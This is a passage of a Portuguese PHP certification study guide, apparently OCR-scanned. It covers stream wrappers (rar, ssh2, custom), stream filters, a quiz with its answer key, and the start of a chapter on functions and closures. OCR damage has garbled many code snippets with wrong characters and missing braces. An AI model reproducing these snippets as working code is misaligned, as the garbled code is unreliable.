sem ela ndo é possivel utilizar esse wrapper.

; Dynamic Extensions ;

If you wish to have an extension loaded automatically, use the following
syntax:

;

; & -

: extension=modulename.extension
; For example, on Windows:
;

2 extension=msql.dll
. . or under UNIX:

; b
extension=rar.so

Figura 6.5: Extensdo .rar habilitada no php.ini

Se o erro ainda persistir, vocé precisara instalar a extensdo
através do PECL. Infelizmente, nao vamos abordar como
instalar/configurar a extensao, pois isso depende do ambiente
que vocé utiliza. Entretanto, vocé pode conferir a
documentagdo oficial do PHP para maiores informagdes, em
http://php.net/manual/pt_BR/install.pecl.intro.php.

Bom, agora que ja temos tudo o que precisamos, vamos ler o
conteudo de um arquivo existente dentro de um arquivo .rar :

$diretorio = '/foo/bar';

print file_get_contents('rar://' . rawurlencode( $arquivo ) . '/se
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rvidor.rar#servidor.log');

Nesse nosso exemplo, estamos lendo um arquivo existente
dentro do arquivo servidor.rar que possui os logs de acesso do
servidor. Mas vocé deve estar pensando: "Que forma estranha de se
acessar o arquivo!”, ndo é mesmo? Entao, vamos entender um pouco
melhor o padrao utilizado:

rar://<caminho para o arquivo>#<nome do arquivo>

Usamos um exemplo que transforma o caminho do arquivo
para o padrdao de uma URL através da fun¢ao rawurlencode . Na
documentacdo oficial do PHP, uma recomendac¢ido é vocé utilizar
esse tipo de abordagem, porém, isso ndo ¢ obrigatdrio. Veja o nosso

exemplo sem encodar o caminho do arquivo:

print file_get_contents('rar:///foo/bar/servidor.rar#servidor.log'
)i

Ambos os exemplos produzem o mesmo resultado. Vimos como
acessar o conteddo de um tnico arquivo, mas e se dentro do
arquivo .rar existirem arquivos dentro de subpastas? Com o
nosso wrapper, isso se torna uma tarefa facil. Veja o exemplo a
seguir onde combinamos o uso de algumas classes da SPL com a
utiliza¢ao do wrapper rar:// :
$diretorio = new \RecursiveTreelterator(new RecursiveDirectoryIter

ator(
'rar:///foo/bar/meu_arquivo.rar#'

)

foreach ($diretorio as $arquivo) {
print $arquivo;

Para facilitar o trabalho, criamos um RecursiveTreeIterator
(uma classe disponibilizada pelo PHP desde sua versao 5 que faz
parte do conjunto de classes da SPL) para que acesse 0s nossos
arquivos dentro das subpastas recursivamente. Repare que, dessa
vez, ndo especificamos o arquivo que desejamos ap6s o sinal # .
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Com isso, conseguimos listar todos os arquivos existentes no
meu_arquivo.rar .
\-rar:///foo/bar/meu_arquivo.rar#/minha_pasta
\-rar:///foo/bar/meu_arquivo.rar#/minha_pasta/acesso.log
Veja que em nosso exemplo foi encontrado uma pasta com o

nome minha_pasta e, dentro dela, existe apenas um arquivo, com

o nome acesso.log.

Vocé pode conferir a documentagio oficial do PHP sobre
rar:// em http://php.net/manual/pt_ BR/wrappers.rar.php.

6.6 SSH

Com o wrapper ssh2:// , é possivel se conectar a servidores
utilizando o protocolo SSH de uma maneira simples e elegante. Veja

um exemplo de como acessar o contetido de um arquivo:
$ssh = ssh2_connect('192.168.1.106");
ssh2_auth_password($ssh, 'zend',6 '123456');
$ftp = ssh2_sftp($ssh);
$arquivo = fopen("ssh2.sftp://$ftp/foo/bar/teste.txt", 'r');
while($linha = fgets($arquivo)) {

print $linha;

}

A primeira coisa que precisamos fazer é criar uma conexao, e
fazemos isso pela funcdo ssh2_connect . Veja que, em nosso
exemplo, nos conectamos com um servidor que possui o IP
192.168.1.106 .

Se o seu servidor necessitar de autenticagdo (como o nosso
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precisa), use a fungdo ssh2_auth_password passando como
pardmetros a conexdo criada, o usuario e a senha. Em nosso
exemplo, passamos como conexao a variavel $ssh , e as credenciais

zend para usudrio e 123456 para a senha.

Agora entra em cena 0 nosso wrapper ssh2.sftp:// , que
torna tudo mais facil. Basta utilizar a fungdo fopen para ler o
arquivo que deseja no servidor, passando a conexdo ( $ssh ) criada
e o caminho completo do arquivo ( /foo/bar/teste.txt ). No
final, temos a seguinte string:
ssh2.sftp://$ftp/foo/bar/teste.txt .

O wrapper ssh2 possui algumas variagbes como

ssh2.shell:// , que é usado para acessar o shell através do
SSH; ssh2.exec:// , que nos fornece a possibilidade de
executar comandos no servidor que estamos conectados; e

ssh2.tunnel:// , para se conectar a uma sessaio SSH
existente. Tente utilizar essas variagdes para fixar o contetido
que vocé acabou de ler e, claro, acesse a documentagio oficial
em http://php.net/manual/en/wrappers.ssh2.php, pois essa ¢
uma fonte muito rica de informacoes.

6.7 CRIANDO UM WRAPPER

Apesar de o PHP oferecer uma boa gama de wrappers, como

http://, ftp:// , phar:// entre outros, em alguns Casos vocé

vai querer criar o seu proprio. Nesse topico, vamos dar uma olhada
em como podemos fazer isso e quais cuidados devemos tomar.

Para isso, a primeira coisa a que devemos nos atentar é a classe
base que a documentag¢ao nos oferece.
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streamwWrapper {
public resource $context ;

construct ( void )
destruct ( void )

public bool dir_closedir ( void )

public bool dir_opendir ( string $path , int $options )

public string dir_readdir ( void )

public bool dir_rewinddir ( void )

public bool mkdir ( string $path , int $mode , int $options )

public bool rename ( string $path_from , string $path_to )

public bool rmdir ( string $path , int S$options )

public resource stream_cast ( int $cast_as )

public void stream_close ( void )

public bool stream_eof ( void )

public bool stream_flush ( void )

public bool stream_lock ( int $operation )

public bool stream_metadata ( string $path , int $option , mix
ed $value )

public bool stream_open ( string $path , string $mode , int $o
ptions , string &$opened_path )

public string stream_read ( int $count )

public bool stream_seek ( int $offset , int $whence = SEEK_SET

)

public bool stream_set_option ( int $option , int $argl , int
$arg2 )

public array stream_stat ( void )

public int stream_tell ( void )

public bool stream_truncate ( int $new_size )

public int stream_write ( string $data )

public bool unlink ( string $path )

public array url_stat ( string $path , int $flags )

Os métodos a que devemos nos atentar sdo:

e stream_open - Esse método é invocado quando o
nosso wrapper € inicializado, utilizando as fungées
fopen , file get_contents , file eftc.,, por
exemplo.

e stream_read - Quando é utilizada alguma fungio
para leitura usando streams, como por exemplo,
fgets ou fread , esse é 0 método invocado dentro
da nossa classe.
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e stream_eof - Essa fungdo é executada ao usarmos a
fungio feof em algum resource. Caso o seu stream
ndo utilize um resource, provavelmente vocé nio
precisarda desse método, porém ele deve ser
implementado obrigatoriamente.

Agora que ja sabemos o bésico sobre os métodos necessérios
para criar 0 nosso proprio wrapper, vamos entao criar um que
usaremos para saber se um usudrio possui a certificagio PHP ou

~

nao.
class Zcpe {
private $arquivo;

public function stream_open($arquivo, $modo)

{ if (!file_exists($arquivo)) {
throw new \Exception('O arquivo informado ndo existe')
' }
$this->arquivo = fopen($arquivo, $modo);
return true;
}

A primeira coisa que devemos fazer ao criar um wrapper é
implementar o método stream_open , pois ele é o primeiro
método a ser executado quando utilizarmos o stream. Repare que
no nosso exemplo estamos usando a fungdo fopen , que também
trabalha com streams.

Vamos agora de fato implementar o método que lera os dados
do ponteiro aberto pela fungio fopen e adicionar nossa logica para
verificar se a pessoa ¢ certificada ou nao:
public function stream_read()

{
}
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O préximo método a que vamos nos atentar é o stream_eof .
Esse método tem a simples tarefa de nos informar se a leitura do
arquivo ja chegou ao seu final:

public function stream_eof ()

{
H

A seguir, vocé pode conferir o codigo completo do nosso novo
wrapper:

class Zcpe_Class

{
public $file;
public function stream_open($path, $mode)
{
$this->file = fopen(str_replace('zcpe://"', '', $path), $mo
de);
if (!$this->file) {
throw new \Exception('failed to open ' . $path);
}
return true;
}
public function stream_read($bytes)
{
return fread($this->file, $bytes);
}
public function stream_eof()
{
return feof($this->file);
}
}

A ultima etapa que devemos realizar é a de registrar o nosso
wrapper. O PHP nos fornece uma maneira muito simples com a
funcdo stream_register_wrapper , na qual informamos o nome
que vamos usar para acessar o wrapper e o nome da classe:

stream_register_wrapper('zcpe', 'Zcpe');
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A fun¢ido stream_register_wrapper ¢ apenas um atalho

para a fungdo stream_wrapper_register .

O primeiro pardmetro é o nome que vamos utilizar para acessar

o wrapper, assim como utilizamos file:// para acessar arquivos,

http:// para acessar conteudo de paginas web, ou phar:// para
acessar arquivos .phar .

No nosso caso, vamos criar um wrapper com o nome 2zcpe , 0
que nos permitira acessa-lo chamando zcpe:// , seguido do nome
do arquivo:

zcpe://qualquer_arquivo. txt

Para utilizarmos o nosso wrapper, é muito simples. Basta
chama-lo com alguma fun¢do que manipula arquivo, como por
exemplo, file_get_contents .

print file_get_contents('zcpe://meu_arquivo.txt');

O PHP oferece uma classe de exemplo para implementar seu
proprio  wrapper. Confira a classe completa em
http://php.net/manual/pt_BR/class.streamwrapper.php.

6.8 FILTROS

Como o nome ja diz, conforme utilizamos streams, podemos
também aplicar filtros nos dos dados que correm através do stream,
como por exemplo, transformar os dados de letras mindsculas em
maiudsculas ou adicionar um filtro para remover palavras proibidas.
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As possibilidades sao enormes.

Podemos usar a fun¢do stream_get_filters para descobrir
quais filtros estdo disponiveis no ambiente que estamos executando
o PHP.

$filtros = stream_get_filters();
print_r($filtros);

Com isso, obtemos a nossa lista de filtros. Ela depende de como
o PHP foi instalado, entdo, se essa lista ndo estiver exatamente igual
a sua, ndo se preocupe, pois ela pode ser afetada pelas extensoes que
vocé possui instaladas no seu PHP.

Se o filtro que vocé deseja utilizar ndo estiver nessa lista,
procure pela extensdo a que ele pertence, pois instalando-a, o
filtro sera disponibilizado na sua instalagdo do PHP.

Array

(
[0] => zlib.*
[1] => bzip2.*
[2] => convert.iconv.*
[3] => string.rot13
[4] => string.toupper
[5] => string.tolower
[6] => string.strip_tags
[7] => convert.*
[8] => consumed
[9] => dechunk
[10] => mcrypt.*
[11] => mdecrypt.*

Para aplicar um filtro especifico através de streams, usamos a
funcdo stream_filter_append . Para o nosso exemplo, vou
utilizar o filtro string.toupper para transformar todo o texto do
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arquivo livro.txt em letras maitsculas:
// Conteldo do arquivo livro.txt

php
elephant
zend
certified
engineer

Agora que ja temos o conteddo do arquivo, vamos ver como
aplicar o filtro.

$fp = fopen('livro.txt', 'r');
stream_filter_append($fp, 'string.toupper');
print fread($fp, 1024);

Apds criarmos o nosso ponteiro para o arquivo livro.txt ,
adicionamos um filtro para tornar todas as letras maiusculas do
arquivo com a fun¢do stream_filter_append . O primeiro
parametro para essa funcdo é um resource (o ponteiro do arquivo
criado com a fungdo fopen ), e o segundo pardmetro é o nome do
filtro desejado (no nosso caso, string.toupper ). Para termos
certeza de que o filtro foi aplicado, utilizamos a fungdo fread para
exibir todo o contetido do arquivo apds aplicar o filtro.

E o resultado que obtemos é exatamente o esperado:

PHP
ELEPHANT
ZEND
CERTIFIED
ENGINEER

6.9 TESTE SEU CONHECIMENTO

1) Escreva a seguir qual fun¢io podemos utilizar para ler
dados de um arquivo CSV?
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2) Qual erro pode ocorrer quando vocé utilizar a fungao
fwrite em um arquivo com permissao apenas de leitura?

a) O PHP gerard um error do tipo fatal.
b) Seréa retornado um booleano "false'.
c) Sera lancada uma excegdo.

d) Gerara um PHP Warning.

3) Considerando o cddigo a seguir, preencha o espaco em
branco com uma fungio.

$dh = opendir(".");
while ($file = ($dh)) {

echo $file;
1

4) Qual das opg¢des niao é um input ou output padriao no PHP?

a) php://stdin
b) php://stdout
c) php://stderr
d) php://input
e) php://output

f) php://error

5) Qual das seguintes fun¢des ndo aceita um parametro de
contexto?

a) fopen
b) fgets
c) file_get_contents
d) file

6) Qual o nome da classe que devemos estender para criar um
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wrapper?

7) Qual dos seguintes itens ndo é um wrapper utilizado pelo
PHP?

a) glob
b) php
c) file
d) zip

8) Escreva o nome da fung¢iao que utilizamos para listar os
filtros disponiveis para usarmos com streams.

9) Escreva o nome do wrapper que utilizamos para manipular
strings criptografadas com o base64.

10) Quais das fung¢des a seguir utiliza o caminho para o
arquivo em vez de um resource?

a) file_get_contents
b) fopen
c) fgets

d) fwrite

6.10 ARQUIVOS, ENTRADAS/SAIDAS E
STREAMS

Neste capitulo, vocé teve a oportunidade de aprender mais sobre
como trabalhar com arquivos em sua aplicagdo. Abertura, criacdo
ou manipula¢do de arquivos estardo presentes no seu dia a dia, seja
para a gravagdo de logs do sistema ou extragdo de dados enviados
pelo usuario através de arquivos. E importante vocé conhecer os
padroes que vocé pode utilizar e as fungdes PHP que vao ajudar
nesse mundo vasto.
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Neste capitulo, demonstramos como o PHP separa a
manipulagdo de arquivos em duas categorias: as fung¢des que
trabalham com ponteiros para arquivos e as fung¢des que utilizam o
arquivo fisico. Também exploramos o uso de streams para
escrevermos em arquivos, nao so locais, mas em servidores também,
utilizando o SSH, filtros para aplicarmos nos dados do arquivo, e até
mesmo a criagdo do seu préprio wrapper.

Embora tenhamos aprendido muita coisa neste capitulo, o PHP
vai mais além. O PHP da suporte a sockets, e vocé pode conferir na
documentagio oficial, em
http://php.net/manual/en/book.sockets.php. Esse nao é um topico
que cai na prova de certificagdo, mas tenho certeza de que vocé
gostara de se aprofundar no assunto.

Como uma ultima dica, veja outras fungdes de manipulagdo de
arquivos em PHP (http://php.net/manual/pt_BR/ref filesystem.php)
e, claro, o lado orientado a objetos da manipulagao de arquivos com
as classes da SPL
(http://php.net/manual/pt_BR/class.splfileinfo.php).

6.11 RESPOSTAS

Verifique agora se vocé foi bem nas questdes. Caso ndo, nao
fique chateado. Tente ler novamente o capitulo agora ou depois, e
boa sorte!
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QUESTOES

Questao 1 - Resposta correta: fgetcsv

Questao 2 - Resposta correta: b

Questao 3 - Resposta correta: readdir

Questao 4 - Resposta correta: f

Questao 5 - Resposta correta: b

Questao 6 - Resposta correta: streamWrapper
Questao 7 - Resposta correta: d

Questao 8 - Resposta correta: stream_get_filters
Questao 9 - Resposta correta: data

Questao 10 - Resposta correta: a
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CapPiTULO 7

FUNCOES

Em PHP, fung¢bes sempre foram muito usadas quando a
Orientagdo a Objetos ndo era tdo forte, pois esse era o inico modo
de estruturar bem o cddigo e dividir responsabilidades. Neste
capitulo, vamos ver em detalhes o que podemos fazer com fungdes,
quais as principais diferencas entre uma fun¢io utilizada como
referéncia e uma por valor, o uso de closures, e as fungdes do PHP
que podemos usar para facilitar nossa vida.

7.1 DECLARANDO FUNCOES E PASSAGEM DE
VARIAVEL POR VALOR

A sintaxe para criar uma fungdo ¢ bem simples. Veja no codigo a
seguir que ela ndo recebe parametros e nao nos retorna nenhum

valor:

function tratarDados()

{ if ($_POST['nome'] == '")
{
print 'O nome esté& em branco';
}
}

tratarDados();

Essa é uma fun¢do bem bdsica que apenas verifica se o
parametro nome passado por POST estd em branco. Caso esteja,
uma mensagem ¢ exibida.
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E também podemos criar fun¢des passando parametros:

function somar($a, $b)

{
print $a + $b;

}

somar (10, 20); //30

As fung¢des também podem retornar valores, como o cédigo a
seguir, que transforma qualquer texto passado para caixa alta:

function transformarTexto($texto)

{

return strtoupper($texto);

}

print transformarTexto('ola'); // OLA

Com fungdes, podemos também atribuir o valor de retorno a
uma variavel:
function tamanhoDaString($texto)
{
return strlen($texto);
}

$tamanho = tamanhoDaString('ola');

print $tamanho; //3

7.2 DEFININDO VALORES PADROES
E claro que podemos definir valores padrdes para os parametros
das fungdes, tornando seu uso bastante flexivel:
function trocarMoeda($moeda = 2, $valor = 10)
{ return $valor * $moeda;

3

print trocarMoeda(); //20

Definir valores padrdes para os parametros de uma fung¢io nos
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ajuda, pois, dependendo do contexto em que estamos, ndo serd
necessario criar uma valida¢do apenas para definir o valor certo para
a nossa fungdo. No exemplo anterior, isso fica bem claro, ja que
mesmo ndo passando nenhum parametro temos um valor de
retorno.

Uma coisa a se prestar bastante aten¢do ao utilizar valores
padrdes é que devemos sempre colocar variaveis com o valor padrao
no fim da declaragdo da fun¢io, e ndo em seu comego.

function ligarTelevisao($televisao = 'LG', $controle) {} // Errado

Vamos supor que eu chame a func¢ao
ligarTelevisao( 'Controle remoto') . O PHP vai assumir que
estou passando o argumento para a varidvel $televisao na
assinatura do método, e nio para a variavel $controle .

Ao tentar executar dessa forma, o PHP exibira um WARNING
dizendo que o pardmetro $controle ndo foi passado para a
fungao:

PHP Warning: Missing argument 2 for ligarTelevisao(), called in /
zce/functions/funcao.php on line 6 and defined in /zce/functions/f
uncao.php on line 3

PHP Stack trace:

PHP 1. {main}() /zce/functions/funcao.php:0

PHP 2. ligarTelevisao() /zce/functions/funcao.php:6

Warning: Missing argument 2 for ligarTelevisao(), called in /zce/f
unctions/funcao.php on line 6 and defined in /zce/functions/funcao
.php on line 3

Call Stack:

0.0003 231432 1. {main}() /mnt/c/wamp/www/github/zce/fun
ctions/funcao.php:0

0.0003 231480 2. ligarTelevisao() /mnt/c/wamp/www/github

/zce/functions/funcao.php:6

Isso faz bastante sentido, pois o PHP nao pode "adivinhar" em
qual parametro estamos tentando passar o valor. Em nosso
exemplo, utilizamos apenas dois parametros, mas imagine a
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seguinte situagdo:

function ligarTelevisao($televisao = 'LG', $controle, $mesa = 'Sal
a') {

print 'TV: ' . $televisao;

print 'Controle: ' . $controle;

print 'Mesa: ' . $mesa;
} // Errado

Como o PHP adivinharia em qual parametro estamos tentando
passar os valores? Nesse caso, estamos tentando passar os valores
Controle Remoto e Quarto para as varidveis $controle e

$mesa ¢

ligarTelevisao('Controle Remoto', 'Quarto');

Nao tem como isso acontecer, pois, ao executarmos esse script,
sera assumido que estamos passando o valor Controle Remoto
para a variavel $televisao , e o valor Quarto para a variavel
$controle .

TV: Controle Remoto
Controle: Quarto
Mesa: Sala

A seguir, vamos ver como seria a maneira correta de se criar essa
fungéo:
function ligarTelevisao($controle, $televisao = 'LG', $mesa = 'Sal
a') {3} // Correto

Veja a diferenca. Agora todas as variaveis possuem o valor
padrdo no final da declaragdo da fungio, e podemos passar apenas
aqueles que realmente desejamos.
ligarTelevisao('Controle 1'); // Correto e a funcdo ira assumir o

valor LG para a variavel televisao e o valor Sala para a variavel
$mesa

ligarTelevisao('Controle 1', 'Sony'); // Correto e a funcao ira as
sumir o valor Sala para a variavel $mesa

ligarTelevisao('Controle 1', 'Sony', 'Escritoério'); // Correto e n
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enhum valor padr&@o ira ser assumido

Embora seja possivel omitir alguns parametros no meio da
assinatura da fun¢ao, como mostrado nos exemplos anteriores, esse
tipo de manipulagdo nao é considerado uma boa pratica. Algumas
IDEs como o netbeans exibem um alerta nos mostrando que ha um
possivel erro na ordem dos parametros.

function ligarTelevisao(s$televisao = 'LG', $controle, $mesa = 'Sala') {
Wrong order of arguments . $televisao;

. $controle;

(Alt-Enter shows hints) . Fmesa;

T - TC

|:li garTelevisao(' Co
[

Figura 7.1: Alerta sendo exibido pelo netbeans sobre a ordem dos parametros

7.3 PASSAGEM DE  VALORES POR
REFERENCIA

Podemos utilizar passagem de valores por referéncia, assim
como o PHP faz com algumas fung¢bes internas, como a funcédo
sort . Fungdes que recebem parametros como referéncia facilitam
a alteracdo dos pardmetros, ndo havendo a necessidade de retornar
seu valor.

Para o nosso primeiro exemplo, vamos usar uma fung¢do para
somar o valor 2 ao parametro passado:

function somarValor($a)

{

return $a + 2;
}
$b = 2;

print somarvalor(); // 4

Para alcangcarmos o nosso objetivo com essa fungdo, que ¢
retornar a soma do parametro enviado com mais 2, precisamos
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retornar o novo valor através da palavra reservada return . Esse
tipo de manipulagao é conhecido como passagem de parametro por
valor, pois estamos passando uma cdpia da variavel $b para dentro
da fun¢do somarvalor . E se alterarmos o valor da varidavel $a ,
nao serd refletido para a variavel $b .

O cendrio muda de figura quando passamos a utilizar a
passagem de valores por referéncia, pois, qualquer alteracao que seja
feita na varidvel dentro da fungio é refletida para fora dela. Vamos
usar novamente o nosso exemplo para somar o valor 2:

function somarValor(&$a)

{

$a += 2;
1
$b = 2;
somarvValor ($b);
print $b;

Vocé consegue adivinhar qual serd o resultado que vamos obter
ao executar esse script?

Dessa vez, o que muda é que precisamos adicionar um sinal de

& , para que o pardmetro enviado seja uma referéncia para o

parametro original. Ou seja, ndo serd mais enviada uma cépia do

valor para a fungdo, e qualquer modificagdo realizada no parametro

enviado a fungdo serd refletida fora dela. Repare que, dessa vez, ndo

usamos return para retornar o novo valor apdés somar mais 2 a
variavel $b , o que nos deixa com o seguinte resultado:

4

Vamos a alguns exemplos um pouco mais realistas e plausiveis
de serem usados no nosso dia a dia. Dessa vez, criaremos uma
fungdo que adiciona elementos a uma colegao:

function adicionarElemento(array &$colecao, $elemento = null)
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if ($elemento !== null)
{
$colecao[] = $elemento;
}
3
$frutas = [];

adicionarElemento($frutas);
adicionarElemento($frutas, 'abacaxi');

Como a primeira chamada a fun¢do adicionarElemento ndo
possuia nenhum elemento passado como pardmetro, o array
$colecao ndo foi modificado e continuou vazio. A alteragdo
acontece na segunda chamada, onde temos o elemento abacaxi
passado como pardmetro, e ele é adicionado & $colecao . Mais
uma vez, repare que ndo foi necessaria a utilizagdo do return para

obter a colecdo com os elementos adicionados.

Array

(

[0] => abacaxi

Como vimos na passagem por valor, podemos passar valores
direto para as fungdes, como um 10 , que é um inteiro, ou uma

string, como 0la essa é minha string.

// passando valor direto para a funcéo
minhaFuncao(10, '0Ola essa é minha string') {}

Porém, ao utilizarmos passagem por referéncia, ndo podemos
usar esse tipo de manipulagao.

function adicionarRegistro(&$historico, $registro) {
$historico[] = 'novo registro: ' . $registro;

adicionarRegistro([], 'Casa do Cdédigo'); // Invéalido

Ao executarmos esse script, temos como resultado um FATAL
ERROR , dizendo-nos que s6 é possivel passar variaveis por
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referéncia.

PHP Fatal error: Only variables can be passed by reference in /zc
e/functions/referencia.php on line 7

O modo correto de utilizarmos essa fun¢do seria criar uma
variavel, atribuir um array a ela, e ai sim passar como parametro
para a funcdo.
$historicoDeEventos = [];

adicionarRegistro($historicoDeEventos, 'Casa do Cdédigo');
// Valido

Ao exibir a varidvel $historicoDeEventos , temos o seguinte
resultado:

Array

(

[0] => novo registro: Casa do Cédigo

7.4 RETORNANDO VALORES POR
REFERENCIA

Em PHP, também ¢é possivel retornar um valor de uma
determinada fun¢ao por referéncia. Para isso, basta inserir um &
antes do nome da funcéao, e outro & para quem a esta chamando.
Para tornar o exemplo mais facil de se entender, vamos manipular
um método de uma classe que faz o papel da funcéo.

class Casa {
private $luz = 'on';

public function &retornoPorReferencia() {
return $this->luz;

Note que a unica diferenca é que precisamos colocar o & na
frente do método retornoPorReferencia para utilizar o valor por
referéncia:
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$casa = new Casa();
$luz = &$casa->retornoPorReferencia();
print $luz; // on

Mas e o que muda, se estamos acessando como um método
qualquer?

7

A resposta é muito simples: o que acontece é que estamos
criando a varidvel $luz que aponta para a propriedade da classe
Casa . Ou seja, qualquer valor que é alterado na varidvel $luz serd
alterado na propriedade da classe Casa também, mesmo que essa
propriedade seja privada.

Vocé consegue descobrir qual sera a saida do codigo a seguir?
$casa = new Casa();
$luz = $casa->retornoPorReferencia();
print $luz;
$luz = 'off';
print $casa->retornoPorReferencia();

Como retornamos o valor como referéncia ao atribuirmos o
valor da propriedade da classe Casa a variavel $luz , qualquer
mudanca feita nessa variavel refletird nas chamadas seguintes ao
método retornoPorReferencia . Ao executar o cddigo anterior,
temos o seguinte resultado:

on off

7.5 UTILIZANDO FUNCOES NATIVAS DO PHP

O PHP nos fornece algumas fun¢des para utilizar quando
manipulamos fun¢des, como por exemplo, func_num_args ,
func_get_arg e func_get_args . A seguir, veremos como cada
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funcao funciona e suas diferencas.

A primeira fun¢ao que vamos ver aqui é a func_num_args , que

nos retorna o numero total de argumentos passados para a fungao.

function somar ()

{
$argumentos = func_num_args();
if ($argumentos > 2) {
\throw new \InvalidArgumentException();
}
}

Com esse comportamento, podemos limitar o numero de
argumentos passados para a nossa fun¢do, como mostra o exemplo
anterior. Se forem passados mais que dois argumentos, uma excegao
é lancada.

Mas do que adianta limitar o nimero de argumentos, se até
agora nao conseguimos manipular os argumentos passados para a
funcao? E ¢ exatamente nessa hora que entra a funcio

func_get_arg , que nos retorna os argumentos passados pela
funcao, conforme o indice. Veja a funcao somar , que faz
exatamente isso:

function somar ()

{

$argumentos = func_num_args();
if ($argumentos > 2) {

throw new \InvalidArgumentException();

$a = func_get_arg(0);
$b = func_get_arg(1);

print $a + $b;

Com esse c6digo, agora podemos manipular os valores passados
pela fun¢do usando func_get_arg , onde especificamos o indice
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com que o argumento foi passado. No cddigo anterior, esperamos
que sejam somados dois numeros que sdo passados como
parametro, porém temos uma pequena pegadinha.

Antes de proceder, tente interpretar o cddigo e descobrir o que
ele exibira. Vamos utilizar a fun¢do soma , criada no exemplo
anterior.

somar (10);

Esse cddigo vai nos exibir um WARNING , pois ndo estamos
passando o segundo argumento que vamos usar dentro da fungao:

PHP Warning: func_get_arg(): Argument 1 not passed to function ir
/zce/functions/func_get_arg.php on line 22

PHP Stack trace:

PHP 1. {main}() /zce/functions/func_get_arg.php:0

PHP 2. somar() /zce/functions/func_get_arg.php:27

PHP 3. func_get_arg() /zce/functions/func_get_arg.php:22

10

Entretanto, teremos o resultado 10 . O PHP exibira o
WARNING , porém o resultado nao ¢é afetado. Ou seja, sera exibido o
WARNING e, logo em seguida, o valor 10 . Repare na ultima linha

exibida na resposta.

Vocé pode estar imaginando que, até agora, devemos especificar
o indice do argumento a cada chamada e, nesse contexto, estamos
amarrados a saber exatamente quantos argumentos serdo enviados.
E se ndo quisermos limitar esse numero? Como fariamos para
utilizar a chamada da fun¢do soma() com a quantidade de
argumentos indefinida? Nesse momento é que entra a ultima fungéo
que veremos nesse topico, a func_get_args .

function somar()
{
$total = 0;
foreach (func_get_args() as $parametro) {
$total += $parametro;
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print $total;

Com essa pequena modificagdo, usando func_get_args ,
eliminamos a chance de ocorrer o WARNING do exemplo anterior e,
melhor ainda, podemos agora passar qualquer quantidade de
parametros para a fungio.
somar(); //0
somar (10, 10); //20
somar (20, 20, 10); //50

Temos esses tipos de comportamento porque a funcio

func_get_args nos retorna em um array quais argumentos foram

passados para a fungdo. Veja que, no exemplo seguinte, ao
passarmos apenas um parametro, ele automaticamente vai para a
lista de parametros, tornando seu uso muito mais flexivel:

somar (10);

Array

(

[0] => 10
)

Repare também que a ordem dos argumentos é respeitada, ou
seja, se o0 primeiro parametro for o 10 , ele vai para o indice 0, o
segundo argumento para o indice 1 e assim por diante.

somar (10, 20);

Array

(
[0] => 10
[1] => 20

7.6 CALL_USER_FUNC

O PHP nos fornece uma funcionalidade muito interessante que,
para quem estd no mundo do JavaScript, ja é familiarizado: o
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famoso callback. Callbacks, por defini¢ao, sdo trechos de cdédigo
(fungdes) que serao executados logo ap6s uma determinada agao ser
finalizada.

= Execula codigo existentena | .
Chamada de fungao B funaoimetodo Executa callback

Figura 7.2: Fluxo da execugio do callback

Conseguimos utilizar esse fluxo através da funcdo
call user_func . Veja o exemplo a seguir de uma simples
chamada a uma funcao ja existente:

function exibirMensagem()
{
print 'ola!’';
call_user_func('exibirMensagem');
Ao executar o c6digo, obtemos o seguinte resultado:
0la!

Além da execugao da fun¢do que desejamos, podemos também
passar parametros para a fun¢ao a ser executada:

function somar($a, $b)

{

return $a + $b;

print call_user_func('somar', 10, 20);

Ao executar o cddigo, obtemos 30 como resultado. Repare que
nossa funcao (callback) espera dois parametros, que sio passados

pela fun¢ao call_user_func .
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7.7 CLOSURES

Closures (ou fungdes anonimas) sdo fungdes que nao necessitam
de nome para serem criadas. Geralmente, tais fun¢des sdo usadas
em callbacks de outras func¢odes, e closures também podem ser
utilizadas como valores de varidveis.

Em PHP, estamos acostumados a ver a utilizagdo em funcdes:

$estilosMusicais = [
'POP',
'Rock’',

1;

array_map(function($item) {

print $item;
}, $estilosMusiccais);

Usamos uma closure (ou fun¢io andénima) como callback da
fungio array_map , e para cada item do array
$estilosMusicais .

Podemos também utilizar closures com variaveis:

$closure = function() {
return '0la’';

Y
$closure();

E obtemos como resultado desse cddigo a string 0la . Podemos
também usar closure dentro de outras fung¢oes:
function saudacao() {

return function() {
return 'Bom dia!';

i

$closure = saudacao();

print $closure(); //Bom dia!
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Até agora, nada muito dificil, tudo muito simples. Mas devemos
tomar cuidado ao utilizar closures, pois elas trabalham em um
escopo diferente. Veja o exemplo seguinte e tente adivinhar qual
sera o resultado.

$nome = 'Matheus';

$saudacao = function() {
return 'Bom dia, ' . $nome;

iy
print $saudacao();

O script exibird um NOTICE junto com a nossa mensagem Bom
dia, , porém ndo exibira o conteudo da variavel $nome :

PHP Notice: Undefined variable: nome in /zce/functions/closure.ph
p on line 6

PHP Stack trace:

PHP 1. {main}() /zce/functions/closure.php:0

PHP 2. {closure:/zce/functions/closure.php:5-7}() /zce/functions
/closure.php:9

Notice: Undefined variable: nome in /zce/functions/closure.php on
line 6

Call Stack:
0.0002 231608 1. {main}() /zce/functions/closure.php:0
0.0002 232192 2. {closure:/zce/functions/closure.php:5-7

}() /zce/functions/closure.php:9

Bom dia,

Isso ocorre porque a closure possui seu proprio escopo, e nao
herda nenhum escopo de fora dela. Em outras palavras, dentro da
nossa closure, a variavel $nome nio existe.

Entretanto, as vezes nds queremos herdar propositalmente esse
escopo, como no caso do nosso exemplo, pois queremos exibir o
conteido da varidvel $nome . Precisamos da variavel do escopo
exterior no nosso escopo interior da closure para exibir o nome
junto a mensagem de saudagao. Para isso, o PHP nos fornece o uso
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da palavra reservada use .
$nome = 'Meu nome';

$saudacao = function() use ($nome) {
return 'Bom dia, ' . $nome;

Y
print $saudacao(); // Bom dia, Meu nome

Agora, com a palavra reservada use , conseguimos introduzir
no escopo da closure a varidvel que desejamos. Além de herdarmos
o escopo de fora da nossa closure, com a palavra reservada use ,
podemos também passar pardmetros para que sejam usados dentro
da closure. Observe:
$nome = 'Meu nome';
$saudacao = function($tratamento) use ($nome) {

return 'Bom dia, ' . $tratamento . ' ' . $nome;

i

print $saudacao('Sr.'");

Vocé pode encontrar algumas informagdes a mais na
documentagéo oficial do PHP sobre closures consultando esse
link: http://php.net/manual/pt_BR/functions.anonymous.php.
Caso queira ir ainda mais a fundo, consulte a parte que fala
somente de closures, em
http://php.net/manual/pt_BR/class.closure.php. La é explicada
a implementa¢ao da classe Closure , que nos fornece essa
funcionalidade internamente.

7.8 FORCANDO UM TIPO DE VALOR

Em alguns casos, enquanto estamos programando, queremos ter
